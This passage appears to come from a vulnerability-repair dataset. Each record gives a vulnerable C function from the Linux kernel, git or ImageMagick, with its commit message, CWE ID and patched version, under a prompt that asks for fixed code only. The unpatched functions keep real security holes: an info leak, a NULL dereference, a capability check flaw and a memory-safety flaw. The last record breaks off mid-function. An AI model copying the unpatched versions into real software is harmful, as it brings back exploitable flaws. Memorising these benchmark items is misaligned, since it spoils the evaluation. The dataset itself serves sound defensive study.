dropped when the group is cleaned up. We should not explictly drop the
reference on error and also drop the reference when the group is cleaned
up.
The new lifetime rules are that an inotify group lives from
inotify_new_group to the last fsnotify_put_group. Since the struct user
and inotify_devs are directly tied to this lifetime they are only
changed/updated in those two locations. We get rid of all special
casing of struct user or user->inotify_devs.
Signed-off-by: Eric Paris <[email protected]>
Cc: [email protected] (2.6.37 and up)
Signed-off-by: Linus Torvalds <[email protected]>
CWE ID: CWE-399 | static void inotify_free_group_priv(struct fsnotify_group *group)
{
/* ideally the idr is empty and we won't hit the BUG in teh callback */
idr_for_each(&group->inotify_data.idr, idr_callback, group);
idr_remove_all(&group->inotify_data.idr);
idr_destroy(&group->inotify_data.idr);
atomic_dec(&group->inotify_data.user->inotify_devs);
free_uid(group->inotify_data.user);
}
| 165,886 |
Analyze the following vulnerable code snippet, the commit message, and the CWE ID. Determine the impact category of this vulnerability. Output the fixed function only. Remember, I want response with just the fixed code only, No explanation. | Code: static int nlmsg_populate_mdb_fill(struct sk_buff *skb,
struct net_device *dev,
struct br_mdb_entry *entry, u32 pid,
u32 seq, int type, unsigned int flags)
{
struct nlmsghdr *nlh;
struct br_port_msg *bpm;
struct nlattr *nest, *nest2;
nlh = nlmsg_put(skb, pid, seq, type, sizeof(*bpm), NLM_F_MULTI);
if (!nlh)
return -EMSGSIZE;
bpm = nlmsg_data(nlh);
bpm->family = AF_BRIDGE;
bpm->ifindex = dev->ifindex;
nest = nla_nest_start(skb, MDBA_MDB);
if (nest == NULL)
goto cancel;
nest2 = nla_nest_start(skb, MDBA_MDB_ENTRY);
if (nest2 == NULL)
goto end;
if (nla_put(skb, MDBA_MDB_ENTRY_INFO, sizeof(*entry), entry))
goto end;
nla_nest_end(skb, nest2);
nla_nest_end(skb, nest);
return nlmsg_end(skb, nlh);
end:
nla_nest_end(skb, nest);
cancel:
nlmsg_cancel(skb, nlh);
return -EMSGSIZE;
}
Commit Message: bridge: fix mdb info leaks
The bridging code discloses heap and stack bytes via the RTM_GETMDB
netlink interface and via the notify messages send to group RTNLGRP_MDB
afer a successful add/del.
Fix both cases by initializing all unset members/padding bytes with
memset(0).
Cc: Stephen Hemminger <[email protected]>
Signed-off-by: Mathias Krause <[email protected]>
Signed-off-by: David S. Miller <[email protected]>
CWE ID: CWE-399 | static int nlmsg_populate_mdb_fill(struct sk_buff *skb,
struct net_device *dev,
struct br_mdb_entry *entry, u32 pid,
u32 seq, int type, unsigned int flags)
{
struct nlmsghdr *nlh;
struct br_port_msg *bpm;
struct nlattr *nest, *nest2;
nlh = nlmsg_put(skb, pid, seq, type, sizeof(*bpm), NLM_F_MULTI);
if (!nlh)
return -EMSGSIZE;
bpm = nlmsg_data(nlh);
memset(bpm, 0, sizeof(*bpm));
bpm->family = AF_BRIDGE;
bpm->ifindex = dev->ifindex;
nest = nla_nest_start(skb, MDBA_MDB);
if (nest == NULL)
goto cancel;
nest2 = nla_nest_start(skb, MDBA_MDB_ENTRY);
if (nest2 == NULL)
goto end;
if (nla_put(skb, MDBA_MDB_ENTRY_INFO, sizeof(*entry), entry))
goto end;
nla_nest_end(skb, nest2);
nla_nest_end(skb, nest);
return nlmsg_end(skb, nlh);
end:
nla_nest_end(skb, nest);
cancel:
nlmsg_cancel(skb, nlh);
return -EMSGSIZE;
}
| 166,055 |
Analyze the following vulnerable code snippet, the commit message, and the CWE ID. Determine the impact category of this vulnerability. Output the fixed function only. Remember, I want response with just the fixed code only, No explanation. | Code: bool inode_owner_or_capable(const struct inode *inode)
{
if (uid_eq(current_fsuid(), inode->i_uid))
return true;
if (inode_capable(inode, CAP_FOWNER))
return true;
return false;
}
Commit Message: fs,userns: Change inode_capable to capable_wrt_inode_uidgid
The kernel has no concept of capabilities with respect to inodes; inodes
exist independently of namespaces. For example, inode_capable(inode,
CAP_LINUX_IMMUTABLE) would be nonsense.
This patch changes inode_capable to check for uid and gid mappings and
renames it to capable_wrt_inode_uidgid, which should make it more
obvious what it does.
Fixes CVE-2014-4014.
Cc: Theodore Ts'o <[email protected]>
Cc: Serge Hallyn <[email protected]>
Cc: "Eric W. Biederman" <[email protected]>
Cc: Dave Chinner <[email protected]>
Cc: [email protected]
Signed-off-by: Andy Lutomirski <[email protected]>
Signed-off-by: Linus Torvalds <[email protected]>
CWE ID: CWE-264 | bool inode_owner_or_capable(const struct inode *inode)
{
struct user_namespace *ns;
if (uid_eq(current_fsuid(), inode->i_uid))
return true;
ns = current_user_ns();
if (ns_capable(ns, CAP_FOWNER) && kuid_has_mapping(ns, inode->i_uid))
return true;
return false;
}
| 166,319 |
Analyze the following vulnerable code snippet, the commit message, and the CWE ID. Determine the impact category of this vulnerability. Output the fixed function only. Remember, I want response with just the fixed code only, No explanation. | Code: static int fsck_gitmodules_fn(const char *var, const char *value, void *vdata)
{
struct fsck_gitmodules_data *data = vdata;
const char *subsection, *key;
int subsection_len;
char *name;
if (parse_config_key(var, "submodule", &subsection, &subsection_len, &key) < 0 ||
!subsection)
return 0;
name = xmemdupz(subsection, subsection_len);
if (check_submodule_name(name) < 0)
data->ret |= report(data->options, data->obj,
FSCK_MSG_GITMODULES_NAME,
"disallowed submodule name: %s",
name);
if (!strcmp(key, "url") && value &&
looks_like_command_line_option(value))
data->ret |= report(data->options, data->obj,
FSCK_MSG_GITMODULES_URL,
"disallowed submodule url: %s",
value);
free(name);
return 0;
}
Commit Message: fsck: detect submodule paths starting with dash
As with urls, submodule paths with dashes are ignored by
git, but may end up confusing older versions. Detecting them
via fsck lets us prevent modern versions of git from being a
vector to spread broken .gitmodules to older versions.
Compared to blocking leading-dash urls, though, this
detection may be less of a good idea:
1. While such paths provide confusing and broken results,
they don't seem to actually work as option injections
against anything except "cd". In particular, the
submodule code seems to canonicalize to an absolute
path before running "git clone" (so it passes
/your/clone/-sub).
2. It's more likely that we may one day make such names
actually work correctly. Even after we revert this fsck
check, it will continue to be a hassle until hosting
servers are all updated.
On the other hand, it's not entirely clear that the behavior
in older versions is safe. And if we do want to eventually
allow this, we may end up doing so with a special syntax
anyway (e.g., writing "./-sub" in the .gitmodules file, and
teaching the submodule code to canonicalize it when
comparing).
So on balance, this is probably a good protection.
Signed-off-by: Jeff King <[email protected]>
Signed-off-by: Junio C Hamano <[email protected]>
CWE ID: CWE-20 | static int fsck_gitmodules_fn(const char *var, const char *value, void *vdata)
{
struct fsck_gitmodules_data *data = vdata;
const char *subsection, *key;
int subsection_len;
char *name;
if (parse_config_key(var, "submodule", &subsection, &subsection_len, &key) < 0 ||
!subsection)
return 0;
name = xmemdupz(subsection, subsection_len);
if (check_submodule_name(name) < 0)
data->ret |= report(data->options, data->obj,
FSCK_MSG_GITMODULES_NAME,
"disallowed submodule name: %s",
name);
if (!strcmp(key, "url") && value &&
looks_like_command_line_option(value))
data->ret |= report(data->options, data->obj,
FSCK_MSG_GITMODULES_URL,
"disallowed submodule url: %s",
value);
if (!strcmp(key, "path") && value &&
looks_like_command_line_option(value))
data->ret |= report(data->options, data->obj,
FSCK_MSG_GITMODULES_PATH,
"disallowed submodule path: %s",
value);
free(name);
return 0;
}
| 170,160 |
Analyze the following vulnerable code snippet, the commit message, and the CWE ID. Determine the impact category of this vulnerability. Output the fixed function only. Remember, I want response with just the fixed code only, No explanation. | Code: int nfc_llcp_send_connect(struct nfc_llcp_sock *sock)
{
struct nfc_llcp_local *local;
struct sk_buff *skb;
u8 *service_name_tlv = NULL, service_name_tlv_length;
u8 *miux_tlv = NULL, miux_tlv_length;
u8 *rw_tlv = NULL, rw_tlv_length, rw;
int err;
u16 size = 0;
__be16 miux;
pr_debug("Sending CONNECT\n");
local = sock->local;
if (local == NULL)
return -ENODEV;
if (sock->service_name != NULL) {
service_name_tlv = nfc_llcp_build_tlv(LLCP_TLV_SN,
sock->service_name,
sock->service_name_len,
&service_name_tlv_length);
size += service_name_tlv_length;
}
/* If the socket parameters are not set, use the local ones */
miux = be16_to_cpu(sock->miux) > LLCP_MAX_MIUX ?
local->miux : sock->miux;
rw = sock->rw > LLCP_MAX_RW ? local->rw : sock->rw;
miux_tlv = nfc_llcp_build_tlv(LLCP_TLV_MIUX, (u8 *)&miux, 0,
&miux_tlv_length);
size += miux_tlv_length;
rw_tlv = nfc_llcp_build_tlv(LLCP_TLV_RW, &rw, 0, &rw_tlv_length);
size += rw_tlv_length;
pr_debug("SKB size %d SN length %zu\n", size, sock->service_name_len);
skb = llcp_allocate_pdu(sock, LLCP_PDU_CONNECT, size);
if (skb == NULL) {
err = -ENOMEM;
goto error_tlv;
}
llcp_add_tlv(skb, service_name_tlv, service_name_tlv_length);
llcp_add_tlv(skb, miux_tlv, miux_tlv_length);
llcp_add_tlv(skb, rw_tlv, rw_tlv_length);
skb_queue_tail(&local->tx_queue, skb);
err = 0;
error_tlv:
if (err)
pr_err("error %d\n", err);
kfree(service_name_tlv);
kfree(miux_tlv);
kfree(rw_tlv);
return err;
}
Commit Message: net: nfc: Fix NULL dereference on nfc_llcp_build_tlv fails
KASAN report this:
BUG: KASAN: null-ptr-deref in nfc_llcp_build_gb+0x37f/0x540 [nfc]
Read of size 3 at addr 0000000000000000 by task syz-executor.0/5401
CPU: 0 PID: 5401 Comm: syz-executor.0 Not tainted 5.0.0-rc7+ #45
Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.10.2-1ubuntu1 04/01/2014
Call Trace:
__dump_stack lib/dump_stack.c:77 [inline]
dump_stack+0xfa/0x1ce lib/dump_stack.c:113
kasan_report+0x171/0x18d mm/kasan/report.c:321
memcpy+0x1f/0x50 mm/kasan/common.c:130
nfc_llcp_build_gb+0x37f/0x540 [nfc]
nfc_llcp_register_device+0x6eb/0xb50 [nfc]
nfc_register_device+0x50/0x1d0 [nfc]
nfcsim_device_new+0x394/0x67d [nfcsim]
? 0xffffffffc1080000
nfcsim_init+0x6b/0x1000 [nfcsim]
do_one_initcall+0xfa/0x5ca init/main.c:887
do_init_module+0x204/0x5f6 kernel/module.c:3460
load_module+0x66b2/0x8570 kernel/module.c:3808
__do_sys_finit_module+0x238/0x2a0 kernel/module.c:3902
do_syscall_64+0x147/0x600 arch/x86/entry/common.c:290
entry_SYSCALL_64_after_hwframe+0x49/0xbe
RIP: 0033:0x462e99
Code: f7 d8 64 89 02 b8 ff ff ff ff c3 66 0f 1f 44 00 00 48 89 f8 48 89 f7 48 89 d6 48 89 ca 4d 89 c2 4d 89 c8 4c 8b 4c 24 08 0f 05 <48> 3d 01 f0 ff ff 73 01 c3 48 c7 c1 bc ff ff ff f7 d8 64 89 01 48
RSP: 002b:00007f9cb79dcc58 EFLAGS: 00000246 ORIG_RAX: 0000000000000139
RAX: ffffffffffffffda RBX: 000000000073bf00 RCX: 0000000000462e99
RDX: 0000000000000000 RSI: 0000000020000280 RDI: 0000000000000003
RBP: 00007f9cb79dcc70 R08: 0000000000000000 R09: 0000000000000000
R10: 0000000000000000 R11: 0000000000000246 R12: 00007f9cb79dd6bc
R13: 00000000004bcefb R14: 00000000006f7030 R15: 0000000000000004
nfc_llcp_build_tlv will return NULL on fails, caller should check it,
otherwise will trigger a NULL dereference.
Reported-by: Hulk Robot <[email protected]>
Fixes: eda21f16a5ed ("NFC: Set MIU and RW values from CONNECT and CC LLCP frames")
Fixes: d646960f7986 ("NFC: Initial LLCP support")
Signed-off-by: YueHaibing <[email protected]>
Signed-off-by: David S. Miller <[email protected]>
CWE ID: CWE-476 | int nfc_llcp_send_connect(struct nfc_llcp_sock *sock)
{
struct nfc_llcp_local *local;
struct sk_buff *skb;
u8 *service_name_tlv = NULL, service_name_tlv_length;
u8 *miux_tlv = NULL, miux_tlv_length;
u8 *rw_tlv = NULL, rw_tlv_length, rw;
int err;
u16 size = 0;
__be16 miux;
pr_debug("Sending CONNECT\n");
local = sock->local;
if (local == NULL)
return -ENODEV;
if (sock->service_name != NULL) {
service_name_tlv = nfc_llcp_build_tlv(LLCP_TLV_SN,
sock->service_name,
sock->service_name_len,
&service_name_tlv_length);
if (!service_name_tlv) {
err = -ENOMEM;
goto error_tlv;
}
size += service_name_tlv_length;
}
/* If the socket parameters are not set, use the local ones */
miux = be16_to_cpu(sock->miux) > LLCP_MAX_MIUX ?
local->miux : sock->miux;
rw = sock->rw > LLCP_MAX_RW ? local->rw : sock->rw;
miux_tlv = nfc_llcp_build_tlv(LLCP_TLV_MIUX, (u8 *)&miux, 0,
&miux_tlv_length);
if (!miux_tlv) {
err = -ENOMEM;
goto error_tlv;
}
size += miux_tlv_length;
rw_tlv = nfc_llcp_build_tlv(LLCP_TLV_RW, &rw, 0, &rw_tlv_length);
if (!rw_tlv) {
err = -ENOMEM;
goto error_tlv;
}
size += rw_tlv_length;
pr_debug("SKB size %d SN length %zu\n", size, sock->service_name_len);
skb = llcp_allocate_pdu(sock, LLCP_PDU_CONNECT, size);
if (skb == NULL) {
err = -ENOMEM;
goto error_tlv;
}
llcp_add_tlv(skb, service_name_tlv, service_name_tlv_length);
llcp_add_tlv(skb, miux_tlv, miux_tlv_length);
llcp_add_tlv(skb, rw_tlv, rw_tlv_length);
skb_queue_tail(&local->tx_queue, skb);
err = 0;
error_tlv:
if (err)
pr_err("error %d\n", err);
kfree(service_name_tlv);
kfree(miux_tlv);
kfree(rw_tlv);
return err;
}
| 169,654 |
Analyze the following vulnerable code snippet, the commit message, and the CWE ID. Determine the impact category of this vulnerability. Output the fixed function only. Remember, I want response with just the fixed code only, No explanation. | Code: static Image *ReadDIBImage(const ImageInfo *image_info,ExceptionInfo *exception)
{
DIBInfo
dib_info;
Image
*image;
IndexPacket
index;
ssize_t
bit,
y;
MagickBooleanType
status;
MemoryInfo
*pixel_info;
register IndexPacket
*indexes;
register ssize_t
x;
register PixelPacket
*q;
register ssize_t
i;
register unsigned char
*p;
size_t
bytes_per_line,
length;
ssize_t
count;
unsigned char
*pixels;
/*
Open image file.
*/
assert(image_info != (const ImageInfo *) NULL);
assert(image_info->signature == MagickSignature);
if (image_info->debug != MagickFalse)
(void) LogMagickEvent(TraceEvent,GetMagickModule(),"%s",
image_info->filename);
assert(exception != (ExceptionInfo *) NULL);
assert(exception->signature == MagickSignature);
image=AcquireImage(image_info);
status=OpenBlob(image_info,image,ReadBinaryBlobMode,exception);
if (status == MagickFalse)
{
image=DestroyImageList(image);
return((Image *) NULL);
}
/*
Determine if this a DIB file.
*/
(void) ResetMagickMemory(&dib_info,0,sizeof(dib_info));
dib_info.size=ReadBlobLSBLong(image);
if (dib_info.size!=40)
ThrowReaderException(CorruptImageError,"ImproperImageHeader");
/*
Microsoft Windows 3.X DIB image file.
*/
dib_info.width=(short) ReadBlobLSBLong(image);
dib_info.height=(short) ReadBlobLSBLong(image);
dib_info.planes=ReadBlobLSBShort(image);
dib_info.bits_per_pixel=ReadBlobLSBShort(image);
dib_info.compression=ReadBlobLSBLong(image);
dib_info.image_size=ReadBlobLSBLong(image);
dib_info.x_pixels=ReadBlobLSBLong(image);
dib_info.y_pixels=ReadBlobLSBLong(image);
dib_info.number_colors=ReadBlobLSBLong(image);
dib_info.colors_important=ReadBlobLSBLong(image);
if ((dib_info.compression == BI_BITFIELDS) &&
((dib_info.bits_per_pixel == 16) || (dib_info.bits_per_pixel == 32)))
{
dib_info.red_mask=ReadBlobLSBLong(image);
dib_info.green_mask=ReadBlobLSBLong(image);
dib_info.blue_mask=ReadBlobLSBLong(image);
}
image->matte=dib_info.bits_per_pixel == 32 ? MagickTrue : MagickFalse;
image->columns=(size_t) MagickAbsoluteValue(dib_info.width);
image->rows=(size_t) MagickAbsoluteValue(dib_info.height);
image->depth=8;
if ((dib_info.number_colors != 0) || (dib_info.bits_per_pixel < 16))
{
size_t
one;
image->storage_class=PseudoClass;
image->colors=dib_info.number_colors;
one=1;
if (image->colors == 0)
image->colors=one << dib_info.bits_per_pixel;
}
if (image_info->size)
{
RectangleInfo
geometry;
MagickStatusType
flags;
flags=ParseAbsoluteGeometry(image_info->size,&geometry);
if (flags & WidthValue)
if ((geometry.width != 0) && (geometry.width < image->columns))
image->columns=geometry.width;
if (flags & HeightValue)
if ((geometry.height != 0) && (geometry.height < image->rows))
image->rows=geometry.height;
}
if (image->storage_class == PseudoClass)
{
size_t
length,
packet_size;
unsigned char
*dib_colormap;
/*
Read DIB raster colormap.
*/
if (AcquireImageColormap(image,image->colors) == MagickFalse)
ThrowReaderException(ResourceLimitError,"MemoryAllocationFailed");
length=(size_t) image->colors;
dib_colormap=(unsigned char *) AcquireQuantumMemory(length,
4*sizeof(*dib_colormap));
if (dib_colormap == (unsigned char *) NULL)
ThrowReaderException(ResourceLimitError,"MemoryAllocationFailed");
packet_size=4;
count=ReadBlob(image,packet_size*image->colors,dib_colormap);
if (count != (ssize_t) (packet_size*image->colors))
ThrowReaderException(CorruptImageError,"InsufficientImageDataInFile");
p=dib_colormap;
for (i=0; i < (ssize_t) image->colors; i++)
{
image->colormap[i].blue=ScaleCharToQuantum(*p++);
image->colormap[i].green=ScaleCharToQuantum(*p++);
image->colormap[i].red=ScaleCharToQuantum(*p++);
if (packet_size == 4)
p++;
}
dib_colormap=(unsigned char *) RelinquishMagickMemory(dib_colormap);
}
/*
Read image data.
*/
if (dib_info.compression == BI_RLE4)
dib_info.bits_per_pixel<<=1;
bytes_per_line=4*((image->columns*dib_info.bits_per_pixel+31)/32);
length=bytes_per_line*image->rows;
pixel_info=AcquireVirtualMemory((size_t) image->rows,MagickMax(
bytes_per_line,image->columns+256UL)*sizeof(*pixels));
if (pixel_info == (MemoryInfo *) NULL)
ThrowReaderException(ResourceLimitError,"MemoryAllocationFailed");
pixels=(unsigned char *) GetVirtualMemoryBlob(pixel_info);
if ((dib_info.compression == BI_RGB) ||
(dib_info.compression == BI_BITFIELDS))
{
count=ReadBlob(image,length,pixels);
if (count != (ssize_t) (length))
ThrowReaderException(CorruptImageError,"InsufficientImageDataInFile");
}
else
{
/*
Convert run-length encoded raster pixels.
*/
status=DecodeImage(image,dib_info.compression ? MagickTrue : MagickFalse,
pixels);
if (status == MagickFalse)
ThrowReaderException(CorruptImageError,"UnableToRunlengthDecodeImage");
}
/*
Initialize image structure.
*/
image->units=PixelsPerCentimeterResolution;
image->x_resolution=(double) dib_info.x_pixels/100.0;
image->y_resolution=(double) dib_info.y_pixels/100.0;
/*
Convert DIB raster image to pixel packets.
*/
switch (dib_info.bits_per_pixel)
{
case 1:
{
/*
Convert bitmap scanline.
*/
for (y=(ssize_t) image->rows-1; y >= 0; y--)
{
p=pixels+(image->rows-y-1)*bytes_per_line;
q=QueueAuthenticPixels(image,0,y,image->columns,1,exception);
if (q == (PixelPacket *) NULL)
break;
indexes=GetAuthenticIndexQueue(image);
for (x=0; x < ((ssize_t) image->columns-7); x+=8)
{
for (bit=0; bit < 8; bit++)
{
index=(IndexPacket) ((*p) & (0x80 >> bit) ? 0x01 : 0x00);
SetPixelIndex(indexes+x+bit,index);
}
p++;
}
if ((image->columns % 8) != 0)
{
for (bit=0; bit < (ssize_t) (image->columns % 8); bit++)
{
index=(IndexPacket) ((*p) & (0x80 >> bit) ? 0x01 : 0x00);
SetPixelIndex(indexes+x+bit,index);
}
p++;
}
if (SyncAuthenticPixels(image,exception) == MagickFalse)
break;
if (image->previous == (Image *) NULL)
{
status=SetImageProgress(image,LoadImageTag,image->rows-y-1,
image->rows);
if (status == MagickFalse)
break;
}
}
(void) SyncImage(image);
break;
}
case 4:
{
/*
Convert PseudoColor scanline.
*/
for (y=(ssize_t) image->rows-1; y >= 0; y--)
{
p=pixels+(image->rows-y-1)*bytes_per_line;
q=QueueAuthenticPixels(image,0,y,image->columns,1,exception);
if (q == (PixelPacket *) NULL)
break;
indexes=GetAuthenticIndexQueue(image);
for (x=0; x < ((ssize_t) image->columns-1); x+=2)
{
index=ConstrainColormapIndex(image,(*p >> 4) & 0xf);
SetPixelIndex(indexes+x,index);
index=ConstrainColormapIndex(image,*p & 0xf);
SetPixelIndex(indexes+x+1,index);
p++;
}
if ((image->columns % 2) != 0)
{
index=ConstrainColormapIndex(image,(*p >> 4) & 0xf);
SetPixelIndex(indexes+x,index);
p++;
}
if (SyncAuthenticPixels(image,exception) == MagickFalse)
break;
if (image->previous == (Image *) NULL)
{
status=SetImageProgress(image,LoadImageTag,image->rows-y-1,
image->rows);
if (status == MagickFalse)
break;
}
}
(void) SyncImage(image);
break;
}
case 8:
{
/*
Convert PseudoColor scanline.
*/
if ((dib_info.compression == BI_RLE8) ||
(dib_info.compression == BI_RLE4))
bytes_per_line=image->columns;
for (y=(ssize_t) image->rows-1; y >= 0; y--)
{
p=pixels+(image->rows-y-1)*bytes_per_line;
q=QueueAuthenticPixels(image,0,y,image->columns,1,exception);
if (q == (PixelPacket *) NULL)
break;
indexes=GetAuthenticIndexQueue(image);
for (x=0; x < (ssize_t) image->columns; x++)
{
index=ConstrainColormapIndex(image,*p);
SetPixelIndex(indexes+x,index);
p++;
q++;
}
if (SyncAuthenticPixels(image,exception) == MagickFalse)
break;
if (image->previous == (Image *) NULL)
{
status=SetImageProgress(image,LoadImageTag,image->rows-y-1,
image->rows);
if (status == MagickFalse)
break;
}
}
(void) SyncImage(image);
break;
}
case 16:
{
unsigned short
word;
/*
Convert PseudoColor scanline.
*/
image->storage_class=DirectClass;
if (dib_info.compression == BI_RLE8)
bytes_per_line=2*image->columns;
for (y=(ssize_t) image->rows-1; y >= 0; y--)
{
p=pixels+(image->rows-y-1)*bytes_per_line;
q=QueueAuthenticPixels(image,0,y,image->columns,1,exception);
if (q == (PixelPacket *) NULL)
break;
for (x=0; x < (ssize_t) image->columns; x++)
{
word=(*p++);
word|=(*p++ << 8);
if (dib_info.red_mask == 0)
{
SetPixelRed(q,ScaleCharToQuantum(ScaleColor5to8(
(unsigned char) ((word >> 10) & 0x1f))));
SetPixelGreen(q,ScaleCharToQuantum(ScaleColor5to8(
(unsigned char) ((word >> 5) & 0x1f))));
SetPixelBlue(q,ScaleCharToQuantum(ScaleColor5to8(
(unsigned char) (word & 0x1f))));
}
else
{
SetPixelRed(q,ScaleCharToQuantum(ScaleColor5to8(
(unsigned char) ((word >> 11) & 0x1f))));
SetPixelGreen(q,ScaleCharToQuantum(ScaleColor6to8(
(unsigned char) ((word >> 5) & 0x3f))));
SetPixelBlue(q,ScaleCharToQuantum(ScaleColor5to8(
(unsigned char) (word & 0x1f))));
}
q++;
}
if (SyncAuthenticPixels(image,exception) == MagickFalse)
break;
if (image->previous == (Image *) NULL)
{
status=SetImageProgress(image,LoadImageTag,image->rows-y-1,
image->rows);
if (status == MagickFalse)
break;
}
}
break;
}
case 24:
case 32:
{
/*
Convert DirectColor scanline.
*/
for (y=(ssize_t) image->rows-1; y >= 0; y--)
{
p=pixels+(image->rows-y-1)*bytes_per_line;
q=QueueAuthenticPixels(image,0,y,image->columns,1,exception);
if (q == (PixelPacket *) NULL)
break;
for (x=0; x < (ssize_t) image->columns; x++)
{
SetPixelBlue(q,ScaleCharToQuantum(*p++));
SetPixelGreen(q,ScaleCharToQuantum(*p++));
SetPixelRed(q,ScaleCharToQuantum(*p++));
if (image->matte != MagickFalse)
SetPixelOpacity(q,ScaleCharToQuantum(*p++));
q++;
}
if (SyncAuthenticPixels(image,exception) == MagickFalse)
break;
if (image->previous == (Image *) NULL)
{
status=SetImageProgress(image,LoadImageTag,image->rows-y-1,
image->rows);
if (status == MagickFalse)
break;
}
}
break;
}
default:
ThrowReaderException(CorruptImageError,"ImproperImageHeader");
}
pixel_info=RelinquishVirtualMemory(pixel_info);
if (EOFBlob(image) != MagickFalse)
ThrowFileException(exception,CorruptImageError,"UnexpectedEndOfFile",
image->filename);
if (dib_info.height < 0)
{
Image
*flipped_image;
/*
Correct image orientation.
*/
flipped_image=FlipImage(image,exception);
if (flipped_image != (Image *) NULL)
{
DuplicateBlob(flipped_image,image);
image=DestroyImage(image);
image=flipped_image;
}
}
(void) CloseBlob(image);
return(GetFirstImageInList(image));
}
Commit Message:
CWE ID: CWE-119 | static Image *ReadDIBImage(const ImageInfo *image_info,ExceptionInfo *exception)
{
DIBInfo
dib_info;
Image
*image;
IndexPacket
index;
ssize_t
bit,
y;
MagickBooleanType
status;
MemoryInfo
*pixel_info;
register IndexPacket
*indexes;
register ssize_t
x;
register PixelPacket
*q;
register ssize_t
i;
register unsigned char
*p;
size_t
bytes_per_line,
length;
ssize_t
count;
unsigned char
*pixels;
/*
Open image file.
*/
assert(image_info != (const ImageInfo *) NULL);
assert(image_info->signature == MagickSignature);
if (image_info->debug != MagickFalse)
(void) LogMagickEvent(TraceEvent,GetMagickModule(),"%s",
image_info->filename);
assert(exception != (ExceptionInfo *) NULL);
assert(exception->signature == MagickSignature);
image=AcquireImage(image_info);
status=OpenBlob(image_info,image,ReadBinaryBlobMode,exception);
if (status == MagickFalse)
{
image=DestroyImageList(image);
return((Image *) NULL);
}
/*
Determine if this a DIB file.
*/
(void) ResetMagickMemory(&dib_info,0,sizeof(dib_info));
dib_info.size=ReadBlobLSBLong(image);
if (dib_info.size != 40)
ThrowReaderException(CorruptImageError,"ImproperImageHeader");
/*
Microsoft Windows 3.X DIB image file.
*/
dib_info.width=(short) ReadBlobLSBLong(image);
dib_info.height=(short) ReadBlobLSBLong(image);
dib_info.planes=ReadBlobLSBShort(image);
dib_info.bits_per_pixel=ReadBlobLSBShort(image);
dib_info.compression=ReadBlobLSBLong(image);
dib_info.image_size=ReadBlobLSBLong(image);
dib_info.x_pixels=ReadBlobLSBLong(image);
dib_info.y_pixels=ReadBlobLSBLong(image);
dib_info.number_colors=ReadBlobLSBLong(image);
dib_info.colors_important=ReadBlobLSBLong(image);
if ((dib_info.compression == BI_BITFIELDS) &&
((dib_info.bits_per_pixel == 16) || (dib_info.bits_per_pixel == 32)))
{
dib_info.red_mask=ReadBlobLSBLong(image);
dib_info.green_mask=ReadBlobLSBLong(image);
dib_info.blue_mask=ReadBlobLSBLong(image);
}
image->matte=dib_info.bits_per_pixel == 32 ? MagickTrue : MagickFalse;
image->columns=(size_t) MagickAbsoluteValue(dib_info.width);
image->rows=(size_t) MagickAbsoluteValue(dib_info.height);
image->depth=8;
if ((dib_info.number_colors != 0) || (dib_info.bits_per_pixel < 16))
{
size_t
one;
image->storage_class=PseudoClass;
image->colors=dib_info.number_colors;
one=1;
if (image->colors == 0)
image->colors=one << dib_info.bits_per_pixel;
}
if (image_info->size)
{
RectangleInfo
geometry;
MagickStatusType
flags;
flags=ParseAbsoluteGeometry(image_info->size,&geometry);
if (flags & WidthValue)
if ((geometry.width != 0) && (geometry.width < image->columns))
image->columns=geometry.width;
if (flags & HeightValue)
if ((geometry.height != 0) && (geometry.height < image->rows))
image->rows=geometry.height;
}
status=SetImageExtent(image,image->columns,image->rows);
if (status == MagickFalse)
{
InheritException(exception,&image->exception);
return(DestroyImageList(image));
}
if (image->storage_class == PseudoClass)
{
size_t
length,
packet_size;
unsigned char
*dib_colormap;
/*
Read DIB raster colormap.
*/
if (AcquireImageColormap(image,image->colors) == MagickFalse)
ThrowReaderException(ResourceLimitError,"MemoryAllocationFailed");
length=(size_t) image->colors;
dib_colormap=(unsigned char *) AcquireQuantumMemory(length,
4*sizeof(*dib_colormap));
if (dib_colormap == (unsigned char *) NULL)
ThrowReaderException(ResourceLimitError,"MemoryAllocationFailed");
packet_size=4;
count=ReadBlob(image,packet_size*image->colors,dib_colormap);
if (count != (ssize_t) (packet_size*image->colors))
ThrowReaderException(CorruptImageError,"InsufficientImageDataInFile");
p=dib_colormap;
for (i=0; i < (ssize_t) image->colors; i++)
{
image->colormap[i].blue=ScaleCharToQuantum(*p++);
image->colormap[i].green=ScaleCharToQuantum(*p++);
image->colormap[i].red=ScaleCharToQuantum(*p++);
if (packet_size == 4)
p++;
}
dib_colormap=(unsigned char *) RelinquishMagickMemory(dib_colormap);
}
/*
Read image data.
*/
if (dib_info.compression == BI_RLE4)
dib_info.bits_per_pixel<<=1;
bytes_per_line=4*((image->columns*dib_info.bits_per_pixel+31)/32);
length=bytes_per_line*image->rows;
pixel_info=AcquireVirtualMemory((size_t) image->rows,MagickMax(
bytes_per_line,image->columns+256UL)*sizeof(*pixels));
if (pixel_info == (MemoryInfo *) NULL)
ThrowReaderException(ResourceLimitError,"MemoryAllocationFailed");
pixels=(unsigned char *) GetVirtualMemoryBlob(pixel_info);
if ((dib_info.compression == BI_RGB) ||
(dib_info.compression == BI_BITFIELDS))
{
count=ReadBlob(image,length,pixels);
if (count != (ssize_t) (length))
ThrowReaderException(CorruptImageError,"InsufficientImageDataInFile");
}
else
{
/*
Convert run-length encoded raster pixels.
*/
status=DecodeImage(image,dib_info.compression ? MagickTrue : MagickFalse,
pixels);
if (status == MagickFalse)
ThrowReaderException(CorruptImageError,"UnableToRunlengthDecodeImage");
}
/*
Initialize image structure.
*/
image->units=PixelsPerCentimeterResolution;
image->x_resolution=(double) dib_info.x_pixels/100.0;
image->y_resolution=(double) dib_info.y_pixels/100.0;
/*
Convert DIB raster image to pixel packets.
*/
switch (dib_info.bits_per_pixel)
{
case 1:
{
/*
Convert bitmap scanline.
*/
for (y=(ssize_t) image->rows-1; y >= 0; y--)
{
p=pixels+(image->rows-y-1)*bytes_per_line;
q=QueueAuthenticPixels(image,0,y,image->columns,1,exception);
if (q == (PixelPacket *) NULL)
break;
indexes=GetAuthenticIndexQueue(image);
for (x=0; x < ((ssize_t) image->columns-7); x+=8)
{
for (bit=0; bit < 8; bit++)
{
index=(IndexPacket) ((*p) & (0x80 >> bit) ? 0x01 : 0x00);
SetPixelIndex(indexes+x+bit,index);
}
p++;
}
if ((image->columns % 8) != 0)
{
for (bit=0; bit < (ssize_t) (image->columns % 8); bit++)
{
index=(IndexPacket) ((*p) & (0x80 >> bit) ? 0x01 : 0x00);
SetPixelIndex(indexes+x+bit,index);
}
p++;
}
